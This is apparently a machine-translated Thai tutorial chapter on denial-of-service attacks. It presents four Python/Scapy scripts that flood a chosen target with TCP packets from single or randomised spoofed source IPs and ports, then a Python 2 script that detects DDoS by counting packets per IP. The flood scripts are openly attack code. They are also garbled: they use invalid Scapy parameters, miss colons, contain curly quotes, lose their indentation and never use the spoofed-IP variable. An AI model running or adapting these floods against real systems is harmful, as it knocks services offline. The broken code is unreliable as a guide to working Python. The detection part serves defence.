การโจมตี DoS & DDoS
ในบทนี้เราจะเรียนรู้เกี่ยวกับการโจมตี DoS และ DdoS และทำความเข้าใจวิธีการตรวจจับ
ด้วยความเฟื่องฟูในอุตสาหกรรมอีคอมเมิร์ซตอนนี้เว็บเซิร์ฟเวอร์มีแนวโน้มที่จะถูกโจมตีและเป็นเป้าหมายที่ง่ายสำหรับแฮกเกอร์ โดยปกติแฮกเกอร์จะพยายามโจมตีสองประเภท -
- DoS (การปฏิเสธการให้บริการ)
- DDoS (การปฏิเสธการให้บริการแบบกระจาย)
DoS (Denial-of-Service) โจมตี
การโจมตี Denial of Service (DoS) เป็นความพยายามของแฮกเกอร์เพื่อทำให้ทรัพยากรเครือข่ายไม่สามารถใช้งานได้ โดยปกติจะขัดขวางโฮสต์ชั่วคราวหรือไม่สิ้นสุดซึ่งเชื่อมต่อกับอินเทอร์เน็ต โดยทั่วไปการโจมตีเหล่านี้จะกำหนดเป้าหมายบริการที่โฮสต์บนเว็บเซิร์ฟเวอร์ที่สำคัญเช่นธนาคารเกตเวย์การชำระเงินด้วยบัตรเครดิต
อาการของการโจมตี DoS
ประสิทธิภาพของเครือข่ายช้าผิดปกติ
ไม่มีเว็บไซต์ใดเว็บไซต์หนึ่ง
ไม่สามารถเข้าถึงเว็บไซต์ใด ๆ
จำนวนอีเมลขยะที่ได้รับเพิ่มขึ้นอย่างมาก
การปฏิเสธการเข้าถึงเว็บหรือบริการอินเทอร์เน็ตในระยะยาว
ความไม่พร้อมใช้งานของเว็บไซต์ใดเว็บไซต์หนึ่ง
ประเภทของ DoS Attack และการใช้งาน Python
การโจมตี DoS สามารถดำเนินการได้ที่ลิงค์ข้อมูลเครือข่ายหรือชั้นแอปพลิเคชัน ให้เราเรียนรู้เกี่ยวกับการโจมตี DoS ประเภทต่างๆ &; การนำไปใช้ใน Python -
พอร์ตเดียว IP เดียว
แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP เดียวและจากหมายเลขพอร์ตเดียว เป็นการโจมตีระดับต่ำซึ่งใช้ในการตรวจสอบพฤติกรรมของเว็บเซิร์ฟเวอร์ การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ python ต่อไปนี้จะช่วยใช้การโจมตี DoS แบบ Single Port Single IP -
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
เมื่อดำเนินการสคริปต์ข้างต้นจะขอสามสิ่งต่อไปนี้ -
ที่อยู่ IP ของแหล่งที่มาและเป้าหมาย
ที่อยู่ IP ของหมายเลขพอร์ตต้นทาง
จากนั้นจะส่งแพ็กเก็ตจำนวนมากไปยังเซิร์ฟเวอร์เพื่อตรวจสอบพฤติกรรมของมัน
IP เดียวหลายพอร์ต
แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP เดียวและจากหลายพอร์ต การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ python ต่อไปนี้จะช่วยใช้การโจมตี DoS หลายพอร์ตแบบ Single IP -
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
พอร์ตเดียวหลาย IP
แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP หลายตัวและจากหมายเลขพอร์ตเดียว การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ Python ต่อไปนี้ใช้การโจมตี DoS หลายพอร์ตแบบ IP เดียว -
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
หลาย IP หลายพอร์ต
แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP หลายตัวและจากหลายพอร์ต การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ Python ต่อไปนี้ช่วยใช้การโจมตี DoS หลายพอร์ตหลาย IPs -
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
การโจมตี DDoS (การปฏิเสธการให้บริการแบบกระจาย)
การโจมตีแบบปฏิเสธการให้บริการแบบกระจาย (DDoS) คือความพยายามที่จะทำให้บริการออนไลน์หรือเว็บไซต์ไม่สามารถใช้งานได้โดยการใช้งานมากเกินไปโดยมีปริมาณการใช้งานจำนวนมากจากแหล่งที่มาหลายแห่ง
ซึ่งแตกต่างจากการโจมตี Denial of Service (DoS) ซึ่งมีการใช้คอมพิวเตอร์เครื่องหนึ่งและการเชื่อมต่ออินเทอร์เน็ตหนึ่งเครื่องเพื่อทำให้ทรัพยากรเป้าหมายเต็มไปด้วยแพ็กเก็ตการโจมตี DDoS ใช้คอมพิวเตอร์จำนวนมากและการเชื่อมต่ออินเทอร์เน็ตจำนวนมากซึ่งมักจะกระจายไปทั่วโลกในสิ่งที่เรียกว่าบอตเน็ต . การโจมตี DDoS เชิงปริมาตรขนาดใหญ่สามารถสร้างทราฟฟิกที่วัดได้ในหน่วยสิบกิกะบิต (และแม้กระทั่งหลายร้อยกิกะบิต) ต่อวินาที สามารถอ่านรายละเอียดได้ที่https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.
การตรวจจับ DDoS โดยใช้ Python
การโจมตี DDoS ที่จริงนั้นตรวจจับได้ยากเล็กน้อยเนื่องจากคุณไม่ทราบว่าโฮสต์ที่ส่งการเข้าชมนั้นเป็นของปลอมหรือของจริง สคริปต์ Python ที่ระบุด้านล่างจะช่วยตรวจจับการโจมตี DDoS
ในการเริ่มต้นให้เรานำเข้าไลบรารีที่จำเป็น -
import socket
import struct
from datetime import datetime
ตอนนี้เราจะสร้างซ็อกเก็ตตามที่เราได้สร้างไว้ในส่วนก่อนหน้านี้ด้วย
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
เราจะใช้พจนานุกรมเปล่า -
dict = {}
โค้ดบรรทัดต่อไปนี้จะเปิดไฟล์ข้อความโดยมีรายละเอียดของการโจมตี DDoS ในโหมดผนวก
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
ด้วยความช่วยเหลือของบรรทัดต่อไปนี้ของโค้ดเวลาปัจจุบันจะถูกเขียนเมื่อใดก็ตามที่โปรแกรมทำงาน
file_txt.writelines(t1)
file_txt.writelines("\n")
ตอนนี้เราต้องถือว่า Hit จาก IP หนึ่ง ๆ ในที่นี้เรากำลังสมมติว่าหาก IP ใดมีการโจมตีมากกว่า 15 ครั้งก็จะเป็นการโจมตี
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
while True:
pkt = s.recvfrom(2048)
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
IP = socket.inet_ntoa(ip_hdr[3])
print "The Source of the IP is:", IP
โค้ดบรรทัดต่อไปนี้จะตรวจสอบว่ามี IP อยู่ในพจนานุกรมหรือไม่ ถ้ามีอยู่มันจะเพิ่มขึ้น 1
if dict.has_key(IP):
dict[IP] = dict[IP]+1
print dict[IP]
โค้ดบรรทัดถัดไปใช้เพื่อลบความซ้ำซ้อน
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
line = "DDOS attack is Detected: "
file_txt.writelines(line)
file_txt.writelines(IP)
file_txt.writelines("\n")
else:
dict[IP] = 1
หลังจากเรียกใช้สคริปต์ข้างต้นเราจะได้ผลลัพธ์เป็นไฟล์ข้อความ ตามสคริปต์หาก IP เข้าชมมากกว่า 15 ครั้งจะมีการพิมพ์เมื่อตรวจพบการโจมตี DDoS พร้อมกับที่อยู่ IP นั้น